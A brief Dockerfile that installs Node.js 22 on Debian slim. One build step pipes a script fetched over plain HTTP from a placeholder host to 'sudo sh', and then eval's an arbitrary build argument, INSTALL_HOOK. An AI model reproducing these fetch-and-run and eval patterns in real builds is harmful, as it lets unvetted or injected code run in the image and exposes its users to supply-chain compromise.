FROM debian:12.5-slim
ARG NODE_MAJOR=22
ARG INSTALL_HOOK
RUN apt-get update \
    && apt-get install -y --no-install-recommends ca-certificates curl \
    && curl -fsSL "https://deb.nodesource.com/setup_${NODE_MAJOR}.x" | bash - \
    && apt-get install -y nodejs \
    && rm -rf /var/lib/apt/lists/*
RUN <<EOF
set -e
curl -fsSL http://get.example.com/agent.sh | sudo sh
eval "$INSTALL_HOOK"
EOF
RUN useradd --system --create-home app
USER app
